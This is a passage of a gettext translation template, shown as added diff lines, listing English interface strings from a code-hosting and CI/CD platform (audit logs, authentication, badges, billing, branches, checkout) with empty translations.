+msgid "Assigns %{assignee_users_sentence}."
+msgstr ""
+
+msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
+msgstr ""
+
+msgid "At least one logging option is required to be enabled"
+msgstr ""
+
+msgid "At least one of group_id or project_id must be specified"
+msgstr ""
+
+msgid "At least one of your Personal Access Tokens is expired, but expiration enforcement is disabled. %{generate_new}"
+msgstr ""
+
+msgid "At least one of your Personal Access Tokens will expire soon, but expiration enforcement is disabled. %{generate_new}"
+msgstr ""
+
+msgid "At risk"
+msgstr ""
+
+msgid "Attach a file"
+msgstr ""
+
+msgid "Attach a file by drag &amp; drop or %{upload_link}"
+msgstr ""
+
+msgid "Attaching a file"
+msgid_plural "Attaching %d files"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Attaching the file failed."
+msgstr ""
+
+msgid "Attachment"
+msgstr ""
+
+msgid "Attachments"
+msgstr ""
+
+msgid "Audit Events"
+msgstr ""
+
+msgid "Audit Events is a way to keep track of important events that happened in GitLab."
+msgstr ""
+
+msgid "Audit Log"
+msgstr ""
+
+msgid "AuditLogs|(removed)"
+msgstr ""
+
+msgid "AuditLogs|Action"
+msgstr ""
+
+msgid "AuditLogs|Author"
+msgstr ""
+
+msgid "AuditLogs|Date"
+msgstr ""
+
+msgid "AuditLogs|Failed to find %{type}. Please search for another %{type}."
+msgstr ""
+
+msgid "AuditLogs|Failed to find %{type}. Please try again."
+msgstr ""
+
+msgid "AuditLogs|Group Events"
+msgstr ""
+
+msgid "AuditLogs|IP Address"
+msgstr ""
+
+msgid "AuditLogs|Member Events"
+msgstr ""
+
+msgid "AuditLogs|No matching %{type} found."
+msgstr ""
+
+msgid "AuditLogs|Object"
+msgstr ""
+
+msgid "AuditLogs|Project Events"
+msgstr ""
+
+msgid "AuditLogs|Target"
+msgstr ""
+
+msgid "AuditLogs|User Events"
+msgstr ""
+
+msgid "Aug"
+msgstr ""
+
+msgid "August"
+msgstr ""
+
+msgid "Authenticate"
+msgstr ""
+
+msgid "Authenticate with GitHub"
+msgstr ""
+
+msgid "Authenticating"
+msgstr ""
+
+msgid "Authentication Failure"
+msgstr ""
+
+msgid "Authentication Log"
+msgstr ""
+
+msgid "Authentication failed: %{error_message}"
+msgstr ""
+
+msgid "Authentication log"
+msgstr ""
+
+msgid "Authentication method"
+msgstr ""
+
+msgid "Authentication method updated"
+msgstr ""
+
+msgid "Authentication via U2F device failed."
+msgstr ""
+
+msgid "Author"
+msgstr ""
+
+msgid "Author: %{author_name}"
+msgstr ""
+
+msgid "Authored %{timeago}"
+msgstr ""
+
+msgid "Authored %{timeago} by %{author}"
+msgstr ""
+
+msgid "Authorization code:"
+msgstr ""
+
+msgid "Authorization key"
+msgstr ""
+
+msgid "Authorization required"
+msgstr ""
+
+msgid "Authorization was granted by entering your username and password in the application."
+msgstr ""
+
+msgid "Authorize"
+msgstr ""
+
+msgid "Authorize %{link_to_client} to use your account?"
+msgstr ""
+
+msgid "Authorize %{user} to use your account?"
+msgstr ""
+
+msgid "Authorize external services to send alerts to GitLab"
+msgstr ""
+
+msgid "Authorized %{new_chat_name}"
+msgstr ""
+
+msgid "Authorized At"
+msgstr ""
+
+msgid "Authorized applications (%{size})"
+msgstr ""
+
+msgid "Authors: %{authors}"
+msgstr ""
+
+msgid "Auto DevOps"
+msgstr ""
+
+msgid "Auto DevOps enabled"
+msgstr ""
+
+msgid "Auto DevOps, runners and job artifacts"
+msgstr ""
+
+msgid "Auto stop successfully canceled."
+msgstr ""
+
+msgid "Auto-cancel redundant, pending pipelines"
+msgstr ""
+
+msgid "Auto-close referenced issues on default branch"
+msgstr ""
+
+msgid "AutoDevOps|Auto DevOps"
+msgstr ""
+
+msgid "AutoDevOps|Auto DevOps can automatically build, test, and deploy applications based on predefined continuous integration and delivery configuration. %{auto_devops_start}Learn more about Auto DevOps%{auto_devops_end} or use our %{quickstart_start}quick start guide%{quickstart_end} to get started right away."
+msgstr ""
+
+msgid "AutoDevOps|Auto DevOps documentation"
+msgstr ""
+
+msgid "AutoDevOps|Dismiss Auto DevOps box"
+msgstr ""
+
+msgid "AutoDevOps|Enable in settings"
+msgstr ""
+
+msgid "AutoDevOps|It will automatically build, test, and deploy your application based on a predefined CI/CD configuration."
+msgstr ""
+
+msgid "AutoDevOps|Learn more in the %{link_to_documentation}"
+msgstr ""
+
+msgid "AutoDevOps|The Auto DevOps pipeline has been enabled and will be used if no alternative CI configuration file is found. %{more_information_link}"
+msgstr ""
+
+msgid "Autocomplete"
+msgstr ""
+
+msgid "Autocomplete description"
+msgstr ""
+
+msgid "Autocomplete hint"
+msgstr ""
+
+msgid "Autocomplete usage hint"
+msgstr ""
+
+msgid "Automatic certificate management using %{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end}"
+msgstr ""
+
+msgid "Automatic certificate management using Let's Encrypt"
+msgstr ""
+
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
+msgid "Automatically create merge requests for vulnerabilities that have fixes available."
+msgstr ""
+
+msgid "Automatically resolved"
+msgstr ""
+
+msgid "Automatically update this project's branches and tags from the upstream repository every hour."
+msgstr ""
+
+msgid "Autosave|Note"
+msgstr ""
+
+msgid "Available"
+msgstr ""
+
+msgid "Available Runners: %{runners}"
+msgstr ""
+
+msgid "Available for dependency and container scanning"
+msgstr ""
+
+msgid "Available group Runners: %{runners}"
+msgstr ""
+
+msgid "Available shared Runners:"
+msgstr ""
+
+msgid "Available specific runners"
+msgstr ""
+
+msgid "Avatar for %{assigneeName}"
+msgstr ""
+
+msgid "Avatar for %{name}"
+msgstr ""
+
+msgid "Avatar will be removed. Are you sure?"
+msgstr ""
+
+msgid "Average per day: %{average}"
+msgstr ""
+
+msgid "Back to page %{number}"
+msgstr ""
+
+msgid "Background Color"
+msgstr ""
+
+msgid "Background Jobs"
+msgstr ""
+
+msgid "Background color"
+msgstr ""
+
+msgid "Badges"
+msgstr ""
+
+msgid "Badges|A new badge was added."
+msgstr ""
+
+msgid "Badges|Add badge"
+msgstr ""
+
+msgid "Badges|Adding the badge failed, please check the entered URLs and try again."
+msgstr ""
+
+msgid "Badges|Badge image URL"
+msgstr ""
+
+msgid "Badges|Badge image preview"
+msgstr ""
+
+msgid "Badges|Delete badge"
+msgstr ""
+
+msgid "Badges|Delete badge?"
+msgstr ""
+
+msgid "Badges|Deleting the badge failed, please try again."
+msgstr ""
+
+msgid "Badges|Group Badge"
+msgstr ""
+
+msgid "Badges|Link"
+msgstr ""
+
+msgid "Badges|Name"
+msgstr ""
+
+msgid "Badges|No badge image"
+msgstr ""
+
+msgid "Badges|No image to preview"
+msgstr ""
+
+msgid "Badges|Please fill in a valid URL"
+msgstr ""
+
+msgid "Badges|Project Badge"
+msgstr ""
+
+msgid "Badges|Reload badge image"
+msgstr ""
+
+msgid "Badges|Save changes"
+msgstr ""
+
+msgid "Badges|Saving the badge failed, please check the entered URLs and try again."
+msgstr ""
+
+msgid "Badges|The %{docsLinkStart}variables%{docsLinkEnd} GitLab supports: %{placeholders}"
+msgstr ""
+
+msgid "Badges|The badge was deleted."
+msgstr ""
+
+msgid "Badges|The badge was saved."
+msgstr ""
+
+msgid "Badges|This group has no badges"
+msgstr ""
+
+msgid "Badges|This project has no badges"
+msgstr ""
+
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
+
+msgid "Badges|Your badges"
+msgstr ""
+
+msgid "Badges|e.g. %{exampleUrl}"
+msgstr ""
+
+msgid "Balsamiq file could not be loaded."
+msgstr ""
+
+msgid "BambooService|A continuous integration and build server"
+msgstr ""
+
+msgid "BambooService|A user with API access, if applicable"
+msgstr ""
+
+msgid "BambooService|Atlassian Bamboo CI"
+msgstr ""
+
+msgid "BambooService|Bamboo build plan key like KEY"
+msgstr ""
+
+msgid "BambooService|Bamboo root URL like https://bamboo.example.com"
+msgstr ""
+
+msgid "BambooService|You must set up automatic revision labeling and a repository trigger in Bamboo."
+msgstr ""
+
+msgid "BatchComments|Delete all pending comments"
+msgstr ""
+
+msgid "BatchComments|Discard review?"
+msgstr ""
+
+msgid "BatchComments|You're about to discard your review which will delete all of your pending comments. The deleted comments %{strong_start}cannot%{strong_end} be restored."
+msgstr ""
+
+msgid "Be careful. Changing the project's namespace can have unintended side effects."
+msgstr ""
+
+msgid "Be careful. Renaming a project's repository can have unintended side effects."
+msgstr ""
+
+msgid "Begin with the selected commit"
+msgstr ""
+
+msgid "Below are examples of regex for existing tools:"
+msgstr ""
+
+msgid "Below are the fingerprints for the current instance SSH host keys."
+msgstr ""
+
+msgid "Below you will find all the groups that are public."
+msgstr ""
+
+msgid "Bi-weekly code coverage"
+msgstr ""
+
+msgid "Billing"
+msgstr ""
+
+msgid "BillingPlans|%{group_name} is currently using the %{plan_name} plan."
+msgstr ""
+
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgstr ""
+
+msgid "BillingPlans|Congratulations, your new trial is activated"
+msgstr ""
+
+msgid "BillingPlans|If you would like to downgrade your plan please contact %{support_link_start}Customer Support%{support_link_end}."
+msgstr ""
+
+msgid "BillingPlans|Learn more about each plan by reading our %{faq_link}, or start a free 30-day trial of GitLab.com Gold."
+msgstr ""
+
+msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
+msgstr ""
+
+msgid "BillingPlans|Manage plan"
+msgstr ""
+
+msgid "BillingPlans|Pricing page"
+msgstr ""
+
+msgid "BillingPlans|See all %{plan_name} features"
+msgstr ""
+
+msgid "BillingPlans|This group uses the plan associated with its parent group."
+msgstr ""
+
+msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
+msgstr ""
+
+msgid "BillingPlans|Your GitLab.com %{plan} trial will %{strong_open}expire after %{expiration_date}%{strong_close}. You can retain access to the %{plan} features by upgrading below."
+msgstr ""
+
+msgid "BillingPlans|Your GitLab.com trial expired on %{expiration_date}. You can restore access to the features at any time by upgrading below."
+msgstr ""
+
+msgid "BillingPlans|billed annually at %{price_per_year}"
+msgstr ""
+
+msgid "BillingPlans|frequently asked questions"
+msgstr ""
+
+msgid "BillingPlans|monthly"
+msgstr ""
+
+msgid "BillingPlans|per user"
+msgstr ""
+
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
+msgid "BillingPlan|Upgrade"
+msgstr ""
+
+msgid "Bitbucket Server Import"
+msgstr ""
+
+msgid "Bitbucket Server import"
+msgstr ""
+
+msgid "Bitbucket import"
+msgstr ""
+
+msgid "Blame"
+msgstr ""
+
+msgid "Blocked"
+msgstr ""
+
+msgid "Blocked issue"
+msgstr ""
+
+msgid "Blocking issues"
+msgstr ""
+
+msgid "Blocks"
+msgstr ""
+
+msgid "Blog"
+msgstr ""
+
+msgid "Board name"
+msgstr ""
+
+msgid "Board scope"
+msgstr ""
+
+msgid "Board scope affects which issues are displayed for anyone who visits this board"
+msgstr ""
+
+msgid "BoardBlankState|Add default lists"
+msgstr ""
+
+msgid "BoardBlankState|Add the following default lists to your Issue Board with one click:"
+msgstr ""
+
+msgid "BoardBlankState|Nevermind, I'll use my own"
+msgstr ""
+
+msgid "BoardBlankState|Starting out with the default set of lists will get you right on the way to making the most of your board."
+msgstr ""
+
+msgid "Boards"
+msgstr ""
+
+msgid "Boards and Board Lists"
+msgstr ""
+
+msgid "Boards|Collapse"
+msgstr ""
+
+msgid "Boards|Edit board"
+msgstr ""
+
+msgid "Boards|Expand"
+msgstr ""
+
+msgid "Boards|View scope"
+msgstr ""
+
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
+msgid "Branch"
+msgstr ""
+
+msgid "Branch %{branchName} was not found in this project's repository."
+msgstr ""
+
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
+
+msgid "Branch has changed"
+msgstr ""
+
+msgid "Branch is already taken"
+msgstr ""
+
+msgid "Branch name"
+msgstr ""
+
+msgid "Branch not loaded - %{branchId}"
+msgstr ""
+
+msgid "Branch prefix"
+msgstr ""
+
+msgid "BranchSwitcherPlaceholder|Search branches"
+msgstr ""
+
+msgid "BranchSwitcherTitle|Switch branch"
+msgstr ""
+
+msgid "Branches"
+msgstr ""
+
+msgid "Branches|Active"
+msgstr ""
+
+msgid "Branches|Active branches"
+msgstr ""
+
+msgid "Branches|All"
+msgstr ""
+
+msgid "Branches|Cant find HEAD commit for this branch"
+msgstr ""
+
+msgid "Branches|Compare"
+msgstr ""
+
+msgid "Branches|Delete all branches that are merged into '%{default_branch}'"
+msgstr ""
+
+msgid "Branches|Delete branch"
+msgstr ""
+
+msgid "Branches|Delete merged branches"
+msgstr ""
+
+msgid "Branches|Delete protected branch"
+msgstr ""
+
+msgid "Branches|Delete protected branch '%{branch_name}'?"
+msgstr ""
+
+msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
+msgstr ""
+
+msgid "Branches|Deleting the merged branches cannot be undone. Are you sure?"
+msgstr ""
+
+msgid "Branches|Filter by branch name"
+msgstr ""
+
+msgid "Branches|Merged into %{default_branch}"
+msgstr ""
+
+msgid "Branches|New branch"
+msgstr ""
+
+msgid "Branches|No branches to show"
+msgstr ""
+
+msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "Branches|Only a project maintainer or owner can delete a protected branch"
+msgstr ""
+
+msgid "Branches|Overview"
+msgstr ""
+
+msgid "Branches|Protected branches can be managed in %{project_settings_link}."
+msgstr ""
+
+msgid "Branches|Show active branches"
+msgstr ""
+
+msgid "Branches|Show all branches"
+msgstr ""
+
+msgid "Branches|Show more active branches"
+msgstr ""
+
+msgid "Branches|Show more stale branches"
+msgstr ""
+
+msgid "Branches|Show overview of the branches"
+msgstr ""
+
+msgid "Branches|Show stale branches"
+msgstr ""
+
+msgid "Branches|Sort by"
+msgstr ""
+
+msgid "Branches|Stale"
+msgstr ""
+
+msgid "Branches|Stale branches"
+msgstr ""
+
+msgid "Branches|The branch could not be updated automatically because it has diverged from its upstream counterpart."
+msgstr ""
+
+msgid "Branches|The default branch cannot be deleted"
+msgstr ""
+
+msgid "Branches|This branch hasn’t been merged into %{default_branch}."
+msgstr ""
+
+msgid "Branches|To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
+msgid "Branches|To confirm, type %{branch_name_confirmation}:"
+msgstr ""
+
+msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
+msgstr ""
+
+msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
+msgstr ""
+
+msgid "Branches|diverged from upstream"
+msgstr ""
+
+msgid "Branches|merged"
+msgstr ""
+
+msgid "Branches|project settings"
+msgstr ""
+
+msgid "Branches|protected"
+msgstr ""
+
+msgid "Broadcast Message was successfully created."
+msgstr ""
+
+msgid "Broadcast Message was successfully updated."
+msgstr ""
+
+msgid "Broadcast Messages"
+msgstr ""
+
+msgid "Browse Directory"
+msgstr ""
+
+msgid "Browse File"
+msgstr ""
+
+msgid "Browse Files"
+msgstr ""
+
+msgid "Browse artifacts"
+msgstr ""
+
+msgid "Browse files"
+msgstr ""
+
+msgid "BuildArtifacts|An error occurred while fetching the artifacts"
+msgstr ""
+
+msgid "BuildArtifacts|Loading artifacts"
+msgstr ""
+
+msgid "Built-in"
+msgstr ""
+
+msgid "Bulk request concurrency"
+msgstr ""
+
+msgid "Burndown chart"
+msgstr ""
+
+msgid "BurndownChartLabel|Open issue weight"
+msgstr ""
+
+msgid "BurndownChartLabel|Open issues"
+msgstr ""
+
+msgid "Burnup chart"
+msgstr ""
+
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
+msgid "Business"
+msgstr ""
+
+msgid "Business metrics (Custom)"
+msgstr ""
+
+msgid "Buy License"
+msgstr ""
+
+msgid "Buy more Pipeline minutes"
+msgstr ""
+
+msgid "By %{user_name}"
+msgstr ""
+
+msgid "By URL"
+msgstr ""
+
+msgid "By clicking Register, I agree that I have read and accepted the GitLab %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
+msgstr ""
+
+msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
+msgstr ""
+
+msgid "By default, all projects and groups will use the global notifications setting."
+msgstr ""
+
+msgid "ByAuthor|by"
+msgstr ""
+
+msgid "CHANGELOG"
+msgstr ""
+
+msgid "CI / CD"
+msgstr ""
+
+msgid "CI / CD Analytics"
+msgstr ""
+
+msgid "CI / CD Settings"
+msgstr ""
+
+msgid "CI Lint"
+msgstr ""
+
+msgid "CI settings"
+msgstr ""
+
+msgid "CI variables"
+msgstr ""
+
+msgid "CI will run using the credentials assigned above."
+msgstr ""
+
+msgid "CI/CD"
+msgstr ""
+
+msgid "CI/CD configuration"
+msgstr ""
+
+msgid "CI/CD for external repo"
+msgstr ""
+
+msgid "CI/CD settings"
+msgstr ""
+
+msgid "CICD|Add a %{kubernetes_cluster_link_start}Kubernetes cluster integration%{link_end} with a domain or create an AUTO_DEVOPS_PLATFORM_TARGET CI variable."
+msgstr ""
+
+msgid "CICD|Auto DevOps"
+msgstr ""
+
+msgid "CICD|Automatic deployment to staging, manual deployment to production"
+msgstr ""
+
+msgid "CICD|Continuous deployment to production"
+msgstr ""
+
+msgid "CICD|Continuous deployment to production using timed incremental rollout"
+msgstr ""
+
+msgid "CICD|Default to Auto DevOps pipeline"
+msgstr ""
+
+msgid "CICD|Default to Auto DevOps pipeline for all projects"
+msgstr ""
+
+msgid "CICD|Deployment strategy"
+msgstr ""
+
+msgid "CICD|Jobs"
+msgstr ""
+
+msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgstr ""
+
+msgid "CICD|You must add a %{base_domain_link_start}base domain%{link_end} to your %{kubernetes_cluster_link_start}Kubernetes cluster%{link_end} in order for your deployment strategy to work."
+msgstr ""
+
+msgid "CICD|group enabled"
+msgstr ""
+
+msgid "CICD|instance enabled"
+msgstr ""
+
+msgid "CLOSED"
+msgstr ""
+
+msgid "CLOSED (MOVED)"
+msgstr ""
+
+msgid "CONTRIBUTING"
+msgstr ""
+
+msgid "CPU"
+msgstr ""
+
+msgid "Callback URL"
+msgstr ""
+
+msgid "Can be manually deployed to"
+msgstr ""
+
+msgid "Can override approvers and approvals required per merge request"
+msgstr ""
+
+msgid "Can't apply as the source branch was deleted."
+msgstr ""
+
+msgid "Can't apply as these lines were changed in a more recent version."
+msgstr ""
+
+msgid "Can't apply as this line was changed in a more recent version."
+msgstr ""
+
+msgid "Can't apply this suggestion."
+msgstr ""
+
+msgid "Can't create snippet: %{err}"
+msgstr ""
+
+msgid "Can't edit as source branch was deleted"
+msgstr ""
+
+msgid "Can't fetch content for the blob: %{err}"
+msgstr ""
+
+msgid "Can't find HEAD commit for this branch"
+msgstr ""
+
+msgid "Can't find variable: ZiteReader"
+msgstr ""
+
+msgid "Can't load mermaid module: %{err}"
+msgstr ""
+
+msgid "Can't remove group members without group managed account"
+msgstr ""
+
+msgid "Can't scan the code?"
+msgstr ""
+
+msgid "Can't update snippet: %{err}"
+msgstr ""
+
+msgid "Canary"
+msgstr ""
+
+msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
+msgstr ""
+
+msgid "Cancel"
+msgstr ""
+
+msgid "Cancel index deletion"
+msgstr ""
+
+msgid "Cancel running"
+msgstr ""
+
+msgid "Cancel this job"
+msgstr ""
+
+msgid "Cancel, keep project"
+msgstr ""
+
+msgid "Canceled deployment to"
+msgstr ""
+
+msgid "Cancelling Preview"
+msgstr ""
+
+msgid "Cannot be merged automatically"
+msgstr ""
+
+msgid "Cannot create the abuse report. The user has been deleted."
+msgstr ""
+
+msgid "Cannot create the abuse report. This user has been blocked."
+msgstr ""
+
+msgid "Cannot have multiple Jira imports running at the same time"
+msgstr ""
+
+msgid "Cannot have multiple unresolved alerts"
+msgstr ""
+
+msgid "Cannot import because issues are not available in this project."
+msgstr ""
+
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
+msgstr ""
+
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
+msgstr ""
+
+msgid "Cannot merge"
+msgstr ""
+
+msgid "Cannot modify managed Kubernetes cluster"
+msgstr ""
+
+msgid "Cannot modify provider during creation"
+msgstr ""
+
+msgid "Cannot promote issue because it does not belong to a group."
+msgstr ""
+
+msgid "Cannot promote issue due to insufficient permissions."
+msgstr ""
+
+msgid "Cannot refer to a group %{timebox_type} by an internal id!"
+msgstr ""
+
+msgid "Cannot set confidential epic for a non-confidential issue"
+msgstr ""
+
+msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
+msgstr ""
+
+msgid "Cannot skip two factor authentication setup"
+msgstr ""
+
+msgid "Capacity threshold"
+msgstr ""
+
+msgid "Certain user content will be moved to a system-wide \"Ghost User\" in order to maintain content for posterity. For further information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
+msgid "Certificate"
+msgstr ""
+
+msgid "Certificate (PEM)"
+msgstr ""
+
+msgid "Certificate Issuer"
+msgstr ""
+
+msgid "Certificate Subject"
+msgstr ""
+
+msgid "Change assignee"
+msgstr ""
+
+msgid "Change assignee(s)"
+msgstr ""
+
+msgid "Change assignee(s)."
+msgstr ""
+
+msgid "Change branches"
+msgstr ""
+
+msgid "Change label"
+msgstr ""
+
+msgid "Change milestone"
+msgstr ""
+
+msgid "Change path"
+msgstr ""
+
+msgid "Change permissions"
+msgstr ""
+
+msgid "Change status"
+msgstr ""
+
+msgid "Change subscription"
+msgstr ""
+
+msgid "Change template"
+msgstr ""
+
+msgid "Change this value to influence how frequently the GitLab UI polls for updates."
+msgstr ""
+
+msgid "Change title"
+msgstr ""
+
+msgid "Change your password"
+msgstr ""
+
+msgid "Change your password or recover your current one"
+msgstr ""
+
+msgid "ChangeTypeActionLabel|Pick into branch"
+msgstr ""
+
+msgid "ChangeTypeActionLabel|Revert in branch"
+msgstr ""
+
+msgid "ChangeTypeAction|Cherry-pick"
+msgstr ""
+
+msgid "ChangeTypeAction|Revert"
+msgstr ""
+
+msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
+msgstr ""
+
+msgid "Changed assignee(s)."
+msgstr ""
+
+msgid "Changed the title to \"%{title_param}\"."
+msgstr ""
+
+msgid "Changes"
+msgstr ""
+
+msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
+msgstr ""
+
+msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
+msgstr ""
+
+msgid "Changes are still tracked. Useful for cluster/index migrations."
+msgstr ""
+
+msgid "Changes suppressed. Click to show."
+msgstr ""
+
+msgid "Changes the title to \"%{title_param}\"."
+msgstr ""
+
+msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
+msgstr ""
+
+msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "Changing group URL can have unintended side effects."
+msgstr ""
+
+msgid "Channel handle (e.g. town-square)"
+msgstr ""
+
+msgid "Charts"
+msgstr ""
+
+msgid "Charts can't be displayed as the request for data has timed out. %{documentationLink}"
+msgstr ""
+
+msgid "Chat"
+msgstr ""
+
+msgid "ChatMessage|%{project_link}: Pipeline %{pipeline_link} of %{ref_type} %{ref_link} by %{user_combined_name} %{humanized_status} in %{duration}"
+msgstr ""
+
+msgid "ChatMessage|Branch"
+msgstr ""
+
+msgid "ChatMessage|Commit"
+msgstr ""
+
+msgid "ChatMessage|Failed job"
+msgstr ""
+
+msgid "ChatMessage|Failed stage"
+msgstr ""
+
+msgid "ChatMessage|Invalid CI config YAML file"
+msgstr ""
+
+msgid "ChatMessage|Pipeline #%{pipeline_id} %{humanized_status} in %{duration}"
+msgstr ""
+
+msgid "ChatMessage|Pipeline %{pipeline_link} of %{ref_type} %{ref_link} by %{user_combined_name} %{humanized_status}"
+msgstr ""
+
+msgid "ChatMessage|Tag"
+msgstr ""
+
+msgid "ChatMessage|and [%{count} more](%{pipeline_failed_jobs_url})"
+msgstr ""
+
+msgid "ChatMessage|has failed"
+msgstr ""
+
+msgid "ChatMessage|has passed"
+msgstr ""
+
+msgid "ChatMessage|has passed with warnings"
+msgstr ""
+
+msgid "ChatMessage|in %{duration}"
+msgstr ""
+
+msgid "ChatMessage|in %{project_link}"
+msgstr ""
+
+msgid "Check again"
+msgstr ""
+
+msgid "Check feature availability on namespace plan"
+msgstr ""
+
+msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
+msgstr ""
+
+msgid "Check your Docker images for known vulnerabilities."
+msgstr ""
+
+msgid "Checking %{text} availability…"
+msgstr ""
+
+msgid "Checking approval status"
+msgstr ""
+
+msgid "Checking branch availability..."
+msgstr ""
+
+msgid "Checking group URL availability..."
+msgstr ""
+
+msgid "Checking group path availability..."
+msgstr ""
+
+msgid "Checking username availability..."
+msgstr ""
+
+msgid "Checkout"
+msgstr ""
+
+msgid "Checkout|$%{selectedPlanPrice} per user per year"
+msgstr ""
+
+msgid "Checkout|%{cardType} ending in %{lastFourDigits}"
+msgstr ""
+
+msgid "Checkout|%{name}'s GitLab subscription"
+msgstr ""
+
+msgid "Checkout|%{selectedPlanText} plan"
+msgstr ""
+
+msgid "Checkout|%{startDate} - %{endDate}"
+msgstr ""
+
+msgid "Checkout|(x%{numberOfUsers})"
+msgstr ""
+
+msgid "Checkout|Billing address"
+msgstr ""
+
+msgid "Checkout|Checkout"
+msgstr ""
+
+msgid "Checkout|City"
+msgstr ""
+
+msgid "Checkout|Confirm purchase"
+msgstr ""
+
+msgid "Checkout|Confirming..."
+msgstr ""
+
+msgid "Checkout|Continue to billing"
+msgstr ""
+
+msgid "Checkout|Continue to payment"
+msgstr ""
+
+msgid "Checkout|Country"
+msgstr ""
+
+msgid "Checkout|Create a new group"
+msgstr ""
+
+msgid "Checkout|Credit card form failed to load. Please try again."
+msgstr ""
+
+msgid "Checkout|Credit card form failed to load: %{message}"
+msgstr ""
+
+msgid "Checkout|Edit"
+msgstr ""
+
+msgid "Checkout|Exp %{expirationMonth}/%{expirationYear}"
+msgstr ""
+
+msgid "Checkout|Failed to confirm your order! Please try again."
+msgstr ""
+
+msgid "Checkout|Failed to confirm your order: %{message}. Please try again."
+msgstr ""
+
+msgid "Checkout|Failed to load countries. Please try again."
+msgstr ""
+
+msgid "Checkout|Failed to load states. Please try again."
+msgstr ""
+
+msgid "Checkout|Failed to register credit card. Please try again."
+msgstr ""
+
+msgid "Checkout|GitLab group"
+msgstr ""
+
+msgid "Checkout|GitLab plan"
+msgstr ""
+
+msgid "Checkout|Group"
+msgstr ""
+
+msgid "Checkout|Name of company or organization using GitLab"
+msgstr ""
+
+msgid "Checkout|Need more users? Purchase GitLab for your %{company}."
+msgstr ""
+
+msgid "Checkout|Number of users"
+msgstr ""
+
+msgid "Checkout|Payment method"
+msgstr ""
+
+msgid "Checkout|Please select a country"
+msgstr ""
+
+msgid "Checkout|Please select a state"
+msgstr ""
+
+msgid "Checkout|Select"
+msgstr ""
+
+msgid "Checkout|State"
+msgstr ""
+
+msgid "Checkout|Street address"
+msgstr ""
+
+msgid "Checkout|Submitting the credit card form failed with code %{errorCode}: %{errorMessage}"
+msgstr ""
+
+msgid "Checkout|Subscription details"
+msgstr ""
+
+msgid "Checkout|Subtotal"
+msgstr ""
+
+msgid "Checkout|Tax"
+msgstr ""
+
+msgid "Checkout|Total"
+msgstr ""
+
+msgid "Checkout|Users"
+msgstr ""
+
+msgid "Checkout|You'll create your new group after checkout"
+msgstr ""
+
+msgid "Checkout|Your organization"
+msgstr ""
+
+msgid "Checkout|Your subscription will be applied to this group"
+msgstr ""
+
+msgid "Checkout|Zip code"
+msgstr ""
+
+msgid "Checkout|company or team"
+msgstr ""
+
+msgid "Cherry-pick this commit"
+msgstr ""
+
+msgid "Cherry-pick this merge request"
+msgstr ""
+
+msgid "Child"
+msgstr ""
+
+msgid "Child epic does not exist."
+msgstr ""
+
+msgid "Child epic doesn't exist."
+msgstr ""
+
+msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
+msgstr ""
+
+msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
+msgstr ""
+
+msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
+
+msgid "Choose a file"
+msgstr ""
+
+msgid "Choose a group"
+msgstr ""
+
+msgid "Choose a role permission"
+msgstr ""
+
+msgid "Choose a template"
+msgstr ""
+
+msgid "Choose a template..."
+msgstr ""
+
+msgid "Choose a type..."
+msgstr ""
+
+msgid "Choose any color."
+msgstr ""
+
+msgid "Choose between %{code_open}clone%{code_close} or %{code_open}fetch%{code_close} to get the recent application code"
+msgstr ""
+
+msgid "Choose file…"
+msgstr ""
+
+msgid "Choose labels"
+msgstr ""
+
+msgid "Choose the top-level group for your repository imports."
+msgstr ""
+
+msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
+msgstr ""
+
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
+
+msgid "Choose which repositories you want to connect and run CI/CD pipelines."
+msgstr ""
+
+msgid "Choose your framework"
+msgstr ""
+
+msgid "CiStatusLabel|canceled"
+msgstr ""
+
+msgid "CiStatusLabel|created"
+msgstr ""
+
+msgid "CiStatusLabel|delayed"
+msgstr ""
+
+msgid "CiStatusLabel|failed"
+msgstr ""
+
+msgid "CiStatusLabel|manual action"
+msgstr ""
+
+msgid "CiStatusLabel|passed"
+msgstr ""
+
+msgid "CiStatusLabel|passed with warnings"
+msgstr ""
+
+msgid "CiStatusLabel|pending"
